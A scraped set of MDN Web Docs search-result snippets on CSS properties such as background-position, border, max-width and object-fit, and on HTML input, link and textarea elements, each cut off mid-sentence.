send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-position-xchrome full support 1edge full support 12firefox full support 49ie ...
background-position-y - CSS: Cascading Style Sheets
the background-position-y css property sets the initial vertical position for each background image. the position is relative to the position layer set by background-origin. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the value of this property is overridden by any declaration of the background or background-position shorthand properties applied to the element after it. syntax /* keyword values */ background-position-y: top; background-position-y: center; background-position-y: bottom; /* <percentage> values */ background-position-y: 25%; /* <length> values */ background-position-y: 0px; background-position-...
...definition of 'background-position-y' in that specification. editor's draft initial specification of longhand sub-properties of background-position to match longstanding implementations. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-position-ychrome full support 1edge full support 12firefox full support 49ie ...
background-position - CSS: Cascading Style Sheets
the background-position css property sets the initial position for each background image. the position is relative to the position layer set by background-origin. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ background-position: top; background-position: bottom; background-position: left; background-position: right; background-position: center; /* <percentage> values */ background-position: 25% 75%; /* <length> values */ background-position: 0 0; background-position: 1cm 2cm; background-position: 10ch 8em; /* multiple images */ background-position: 0 0, center; /* edge offsets val...
...for keyword values and <length> and <percentage> values to be mixed. css level 1the definition of 'background-position' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-positionchrome full support 1edge full support 12firefox full support 1ie ...
background-size - CSS: Cascading Style Sheets
the background-size css property sets the size of the element's background image. the image can be left to its natural size, stretched, or constrained to fit the available space. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. spaces not covered by a background image are filled with the background-color property, and the background color will be visible behind background images that have transparency/translucency. syntax /* keyword values */ background-size: cover; background-size: contain; /* one-value syntax */ /* the width of the image (height becomes 'auto') */ background-size: 50%; background-size: 3.2em; ba...
...ation status comment css backgrounds and borders module level 3the definition of 'background-size' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-sizechrome full support 3 full support 3 full support 1prefixed notes prefixe...
border-bottom-width - CSS: Cascading Style Sheets
the border-bottom-width css property sets the width of the bottom border of an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ border-bottom-width: thin; border-bottom-width: medium; border-bottom-width: thick; /* <length> values */ border-bottom-width: 10em; border-bottom-width: 3vmax; border-bottom-width: 6px; /* global keywords */ border-bottom-width: inherit; border-bottom-width: initial; border-bottom-width: unset; values <line-width> defines the width of the border, either as an explicit nonnegative <length> or a keyword. if it's a keyword, it must be one of the fo...
...' in that specification. recommendation no significant change. css level 1the definition of 'border-bottom-width' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-bottom-widthchrome full support 1edge full support 12firefox full support 1ie ...
border-left-style - CSS: Cascading Style Sheets
note: the specification doesn't define how borders of different styles connect in the corners. ...
...on. candidate recommendation no significant change. css level 2 (revision 1)the definition of 'border-left-style' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-left-stylechrome full support 1edge full support 12firefox full support 1notes ...
border-left - CSS: Cascading Style Sheets
as with all shorthand properties, border-left always sets the values of all of the properties that it can set, even if they are not specified. it sets those that are not specified to their default values. this means that ... ...
...der-left' in that specification. recommendation no significant changes. css level 1the definition of 'border-left' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-leftchrome full support 1edge full support 12firefox full support 1ie ...
border-right-style - CSS: Cascading Style Sheets
note: the specification doesn't define how borders of different styles connect in the corners. ...
...n. candidate recommendation no significant change. css level 2 (revision 1)the definition of 'border-right-style' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-right-stylechrome full support 1edge full support 12firefox full support 1notes ...
border-right - CSS: Cascading Style Sheets
as with all shorthand properties, border-right always sets the values of all of the properties that it can set, even if they are not specified. ...
...r-right' in that specification. recommendation no significant changes. css level 1the definition of 'border-right' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-rightchrome full support 1edge full support 12firefox full support 1ie ...
border-top - CSS: Cascading Style Sheets
as with all shorthand properties, border-top always sets the values of all of the properties that it can set, even if they are not specified. ...
...order-top' in that specification. recommendation no significant changes. css level 1the definition of 'border-top' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-topchrome full support 1edge full support 12firefox full support 1ie ...
border - CSS: Cascading Style Sheets
the border shorthand css property sets an element's border. it sets the values of border-width, border-style, and border-color. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: border-color border-style border-width syntax /* style */ border: solid; /* width | style */ border: 2px dotted; /* style | color */ border: outset #f33; /* width | style | color */ border: medium dashed green; /* global values */ border: inherit; border: initial; border: unset; the border property may be specified using one, two, or three of t...
...dation accepts the inherit keyword. also accepts transparent as a valid color. css level 1the definition of 'border' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborderchrome full support 1edge full support 12firefox full support 1ie ...
caption-side - CSS: Cascading Style Sheets
the caption-side css property puts the content of a table's <caption> on the specified side. the values are relative to the writing-mode of the table. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* directional values */ caption-side: top; caption-side: bottom; /* warning: non-standard values */ caption-side: left; caption-side: right; caption-side: top-outside; caption-side: bottom-outside; /* global values */ caption-side: inherit; caption-side: initial; caption-side: unset; the caption-side property is specified as one of the keyword values listed below. values top the caption box should be po...
... top and bottom values as relative to the writing-mode value. css level 2 (revision 1)the definition of 'caption-side' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcaption-sidechrome full support 1edge full support 12firefox full support 1ie ...
clear - CSS: Cascading Style Sheets
the clear css property sets whether an element must be moved below (cleared) floating elements that precede it. the clear property applies to floating and non-floating elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. when applied to non-floating blocks, it moves the border edge of the element down until it is below the margin edge of all relevant floats. the non-floated block's top margin collapses. vertical margins between two floated elements on the other hand will not collapse. when applied to floating elements, the margin edge of the bottom element is moved below the margin edge of all relevant floats.
...ication. recommendation no significant changes, though details are clarified. css level 1the definition of 'clear' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclearchrome full support 1edge full support 12firefox full support 1ie f...
column-count - CSS: Cascading Style Sheets
the column-count css property breaks an element's content into the specified number of columns. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ column-count: auto; /* <integer> value */ column-count: 3; /* global values */ column-count: inherit; column-count: initial; column-count: unset; values auto the number of columns is determined by other css properties, such as column-width. <integer> is a strictly positive <integer> describing the ideal number of columns into which the content of the element will be flowed. if the column-width is also set to a non-auto value, it merely in...
...cations specification status comment css multi-column layout modulethe definition of 'column-count' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolumn-countchrome full support 50 full support 50 full support 1prefixed prefixed imple...
direction - CSS: Cascading Style Sheets
le columns, and horizontal overflow. use rtl for languages written from right to left (like hebrew or arabic), and ltr for those written from left to right (like english and most other languages). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note that text direction is usually defined within a document (e.g., with html's dir attribute) rather than through direct use of the direction property. the property sets the base text direction of block-level elements and the direction of embeddings created by the unicode-bidi property. it also sets the default alignment of text, block-level elements, and the direction that...
...in that specification. proposed recommendation no change. css level 2 (revision 1)the definition of 'direction' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirectionchrome full support 2edge full support 12firefox full support 1ie ...
empty-cells - CSS: Cascading Style Sheets
this property has an effect only when the border-collapse property is separate. ...
...specifications specification status comment css level 2 (revision 1)the definition of 'empty-cells' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetempty-cellschrome full support 1edge full support 12firefox full support 1ie ...
font-variant-caps - CSS: Cascading Style Sheets
when a given font includes capital letter glyphs of multiple different sizes, this property selects the most appropriate ones. ...
... specification status comment css fonts module level 3the definition of 'font-variant-caps' in that specification. candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variant-capschrome full support 52edge full support 79firefox full support 34 ...
font-variant - CSS: Cascading Style Sheets
nd property allows you to set all the font variants for a font. you can also set the css level 2 (revision 1) values of font-variant, (that is, normal or small-caps), by using the font shorthand. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric syntax font-variant: small-caps; font-variant: common-ligatures small-caps; /* global values */ font-variant: inherit; font-variant: initial; font-variant: unset; v...
...ion of 'font-variant' in that specification. recommendation no change css level 1the definition of 'font-variant' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variantchrome full support 1edge full support 12firefox full support 1ie ...
letter-spacing - CSS: Cascading Style Sheets
between characters while rendering the text. positive values of letter-spacing causes characters to spread farther apart, while negative values of letter-spacing bring characters closer together. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ letter-spacing: normal; /* <length> values */ letter-spacing: 0.3em; letter-spacing: 3px; letter-spacing: .3px; /* global values */ letter-spacing: inherit; letter-spacing: initial; letter-spacing: unset; values normal the normal letter spacing for the current font. unlike a value of 0, this keyword allows the user agent to alter the space b...
...cing' in that specification. recommendation initial svg definition. css level 1the definition of 'letter-spacing' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetletter-spacingchrome full support 1edge full support 12firefox full support 1ie ...
max-height - CSS: Cascading Style Sheets
the max-height css property sets the maximum height of an element. it prevents the used value of the height property from becoming larger than the value specified for max-height. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. max-height overrides height, but min-height overrides max-height. syntax /* <length> value */ max-height: 3.5em; /* <percentage> value */ max-height: 75%; /* keyword values */ max-height: none; max-height: max-content; max-height: min-content; max-height: fit-content(20em); /* global values */ max-height: inherit; max-height: initial; max-height: unset; values <length> defines the m...
...raft adds the max-content, min-content, fit-content keywords. css level 2 (revision 1)the definition of 'max-height' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-heightchrome full support 18edge full support 12firefox full support 1notes ...
max-width - CSS: Cascading Style Sheets
the max-width css property sets the maximum width of an element. it prevents the used value of the width property from becoming larger than the value specified by max-width. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. max-width overrides width, but min-width overrides max-width. syntax /* <length> value */ max-width: 3.5em; /* <percentage> value */ max-width: 75%; /* keyword values */ max-width: none; max-width: max-content; max-width: min-content; max-width: fit-content(20em); /* global values */ max-width: inherit; max-width: initial; max-width: unset; values <length> defines the max-width as an abs...
...raft adds the max-content, min-content, fit-content keywords. css level 2 (revision 1)the definition of 'max-width' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-widthchrome full support 1edge full support 12firefox full support 1notes ...
min-width - CSS: Cascading Style Sheets
the min-width css property sets the minimum width of an element. it prevents the used value of the width property from becoming smaller than the value specified for min-width. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the element's width is set to the value of min-width whenever min-width is larger than max-width or width. syntax /* <length> value */ min-width: 3.5em; /* <percentage> value */ min-width: 10%; /* keyword values */ min-width: max-content; min-width: min-content; min-width: fit-content(20em); /* global values */ min-width: inherit; min-width: initial; min-width: unset; values <length> d...
...ation adds the auto keyword and uses it as the initial value. css level 2 (revision 1)the definition of 'min-width' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmin-widthchrome full support 1edge full support 12firefox full support 1notes ...
mix-blend-mode - CSS: Cascading Style Sheets
the mix-blend-mode css property sets how an element's content should blend with the content of the element's parent and the element's background. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ mix-blend-mode: normal; mix-blend-mode: multiply; mix-blend-mode: screen; mix-blend-mode: overlay; mix-blend-mode: darken; mix-blend-mode: lighten; mix-blend-mode: color-dodge; mix-blend-mode: color-burn; mix-blend-mode: hard-light; mix-blend-mode: soft-light; mix-blend-mode: difference; mix-blend-mode: exclusion; mix-blend-mode: hue; mix-blend-mode: saturation; mix-blend-mode: color; mix-blend-mo...
... specification status comment compositing and blending level 1the definition of 'mix-blend-mode' in that specification. candidate recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmix-blend-modechrome full support 41edge full support 79firefox full support 32ie ...
object-fit - CSS: Cascading Style Sheets
h as an <img> or <video>, should be resized to fit its container. you can alter the alignment of the replaced element's content object within the element's box using the object-position property. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax the object-fit property is specified as a single keyword chosen from the list of values below. values contain the replaced content is scaled to maintain its aspect ratio while fitting within the element’s content box. the entire object is made to fill the box, while preserving its aspect ratio, so the object will be "letterboxed" if its aspect ratio does not mat...
...bject-fit' in that specification. working draft css images module level 3the definition of 'object-fit' in that specification. candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobject-fitchrome full support 31edge full support 16notes full support 16notes notes ed...
object-position - CSS: Cascading Style Sheets
the element's background. you can adjust how the replaced element's object's intrinsic size (that is, its natural size) is adjusted to fit within the element's box using the object-fit property. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <position> values */ object-position: center top; object-position: 100px 50px; /* global values */ object-position: inherit; object-position: initial; object-position: unset; values <position> from one to four values that define the 2d position of the element. relative or absolute offsets can be used. note: the position can be set so that the replaced elem...
... specification status comment css images module level 3the definition of 'object-position' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobject-positionchrome full support 31edge full support 16firefox full support 36ie ...
outline-color - CSS: Cascading Style Sheets
the outline-color css property sets the color of an element's outline. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <color> values */ outline-color: #f92525; outline-color: rgb(30,222,121); outline-color: blue; /* keyword value */ outline-color: invert; /* global values */ outline-color: inherit; outline-color: initial; outline-color: unset; the outline-color property is specified as any one of the values listed below. values <color> the color of the outline, specified as a <color>. invert to ensure the outline is visible, performs a color inversion of the background. note that brow...
...olor' in that specification. recommendation no change. css level 2 (revision 1)the definition of 'outline-color' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoutline-colorchrome full support 1edge full support 12firefox full support 1.5 ...
outline-offset - CSS: Cascading Style Sheets
the outline-offset css property sets the amount of space between an outline and the edge or border of an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ outline-offset: 3px; outline-offset: 0.2em; /* global values */ outline-offset: inherit; outline-offset: initial; outline-offset: unset; values <length> the width of the space between the element and its outline. a negative value places the outline inside the element. a value of 0 places the outline so that there is no space between it and the element. description an outline is a line that is drawn around an element, ...
... specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification. recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoutline-offsetchrome full support 1edge full support 15firefox full support 1.5ie ...
pointer-events - CSS: Cascading Style Sheets
the pointer-events css property sets under what circumstances (if any) a particular graphic element can become the target of pointer events. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ pointer-events: auto; pointer-events: none; pointer-events: visiblepainted; /* svg only */ pointer-events: visiblefill; /* svg only */ pointer-events: visiblestroke; /* svg only */ pointer-events: visible; /* svg only */ pointer-events: painted; /* svg only */ pointer-events: fill; /* svg only */ pointer-events: stroke; /* svg only */ pointer-events: all; ...
...ecification. recommendation initial definition its extension to html elements, though present in early drafts of css basic user interface module level 3, has been pushed to its level 4. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpointer-eventschrome full support 1edge full support 12firefox full support 1.5ie ...
position - CSS: Cascading Style Sheets
the position css property sets how an element is positioned in a document. the top, right, bottom, and left properties determine the final location of positioned elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax the position property is specified as a single keyword chosen from the list of values below. values static the element is positioned according to the normal flow of the document. the top, right, bottom, left, and z-index properties have no effect. this is the default value. relative the element is positioned according to the normal flow of the document, and then offset relative to i...
...n' in that specification. recommendation css positioned layout module level 3the definition of 'position' in that specification. working draft adds sticky property value. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpositionchrome full support 1edge full support 12firefox full support 1notes ...
quotes - CSS: Cascading Style Sheets
the quotes css property sets how the browser should render quotation marks that are added using the open-quotes or close-quotes values of the css content property. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ quotes: none; quotes: auto; /* <string> values */ quotes: "«" "»"; /* set open-quote and close-quote to the french quotation marks */ quotes: "«" "»" "‹" "›"; /* set two levels of quotation marks */ /* global values */ quotes: inherit; quotes: initial; quotes: unset; values none the open-quote and close-quote values of the content property produce no qu...
...e definition of 'quotes' in that specification. working draft css level 2 (revision 1)the definition of 'quotes' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetquoteschrome full support 11edge full support 12firefox full support 1.5ie ...
right - CSS: Cascading Style Sheets
the right css property participates in specifying the horizontal position of a positioned element. it has no effect on non-positioned elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ right: 3px; right: 2.4em; /* <percentage>s of the width of the containing block */ right: 10%; /* keyword value */ right: auto; /* global values */ right: inherit; right: initial; right: unset; values <length> a negative, null, or positive <length> that represents: for absolutely positioned elements, the distance to the right edge of the containing block. for relatively positioned el...
...cification. working draft adds behavior for sticky positioning. css level 2 (revision 1)the definition of 'right' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrightchrome full support 1edge full support 12firefox full support 1ie f...
Ajax - Developer guides
the progress of a request submitting forms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources. it will seem familiar to anyone who has used xmlhttprequest, but this api provides a more powerful and flexible feature set. server-sent events traditionally, a web page has to
send a request to the server to receive new data; that is, the page requests data from the server. with server-sent events, it's possible for a server to
send new data to a web page at any time, by pushing messages to the web page. these incoming messages can be treated as events + data inside the web page. see also: using server-sent events. pure-ajax navigation example this article provides a work...
...possible values are the empty string (default), arraybuffer, blob, document, json, and text. ...
<input type="email"> - HTML: Hypertext Markup Language
<input> elements of type email are used to let the user enter and edit an e-mail address, or, if the multiple attribute is specified, a list of e-mail addresses. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the input value is automatically validated to ensure that it's either empty or a properly-formatted e-mail address (or list of addresses) before the form can be submitted. the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid e-mail address or not. on browsers that don't support inputs of type email, a email inp...
...each text entry box has a <label> associated with it to let the user know what's expected of them. let's take a closer look at the e-mail address entry box. its size and maxl...
<input type="tel"> - HTML: Hypertext Markup Language
nd <input type="url"> , the input value is not automatically validated to a particular format before the form can be submitted, because formats for telephone numbers vary so much around the world. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. despite the fact that inputs of type tel are functionally identical to standard text inputs, they do serve useful purposes; the most quickly apparent of these is that mobile browsers — especially on mobile phones — may opt to present a custom keypad optimized for entering phone numbers. using a specific input type for telephone numbers also makes adding custom validation a...
... presses the enter or return key while editing the field. this information is used to decide what kind of label to use on the enter key on the virtual keyboard. note: this has been standardized as the global attribute enterkeyhint, but is not yet widely implemented. to see the status of the change being implemented in firefox, see bug 1490661. permitted values are: go, done, next, search, and
send. the browser decides, using this hint, what label to put on the enter key. using tel inputs telephone numbers are a very commonly collected type of data on the web. when creating any kind of registration or e-commerce site, for example, you will likely need to ask the user for a telephone number, whether for business purposes or for emergency contact purposes. given how commonly-entered phone n...
<input type="text"> - HTML: Hypertext Markup Language
value a domstring representing the text contained in the text field. ...
... presses the enter or return key while editing the field. this information is used to decide what kind of label to use on the enter key on the virtual keyboard. note: this has been standardized as the global attribute enterkeyhint, but is not yet widely implemented. to see the status of the change being implemented in firefox, see bug 1490661. permitted values are: go, done, next, search, and
send. the browser decides, using this hint, what label to put on the enter key. using text inputs <input> elements of type text create basic, single-line inputs. you should use them anywhere you want the user to enter a single-line value and there isn't a more specific input type available for collecting that value (for example, if it's a date, url, email, or search term, you've got better options ...
<input type="url"> - HTML: Hypertext Markup Language
the input value is automatically validated to ensure that it's either empty or a properly-formatted url before the form can be submitted. ...
... presses the enter or return key while editing the field. this information is used to decide what kind of label to use on the enter key on the virtual keyboard. note: this has been standardized as the global attribute enterkeyhint, but is not yet widely implemented. to see the status of the change being implemented in firefox, see bug 1490661. permitted values are: go, done, next, search, and
send. the browser decides, using this hint, what label to put on the enter key. using url inputs when you create a url input with the proper type value, url, you get automatic validation that the entered text is at least in the correct form to potentially be a legitimate url. this can help avoid cases in which the user mis-types their web site's address, or provides an invalid one. it's important,...
<link>: The External Resource Link element - HTML: Hypertext Markup Language
ent is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. to link an external stylesheet, you'd include a <link> element inside your <head> like this: <link href="main.css" rel="stylesheet"> this simple example provides the path to the stylesheet inside an href attribute, and a rel attribute with a value of stylesheet. the rel stands for "relationship", and is probably one of the key features of the <link> element — the value den...
... http header) is performed along with a credential sent (i.e. a cookie, certificate, and/or http basic authentication is performed). if the server does not give credentials to the origin site (through access-control-allow-credentials http header), the resource will be tainted and its usage restricted. if the attribute is not present, the resource is fetched without a cors request (i.e. without
sending the origin http header), preventing its non-tainted usage. if invalid, it is handled as if the enumerated keyword anonymous was used. see cors settings attributes for additional information. disabled for rel="stylesheet" only, the disabled boolean attribute indicates whether or not the described stylesheet should be loaded and applied to the document. if disabled is specified in the html w...
<textarea> - HTML: Hypertext Markup Language
> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a review or feedback form. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
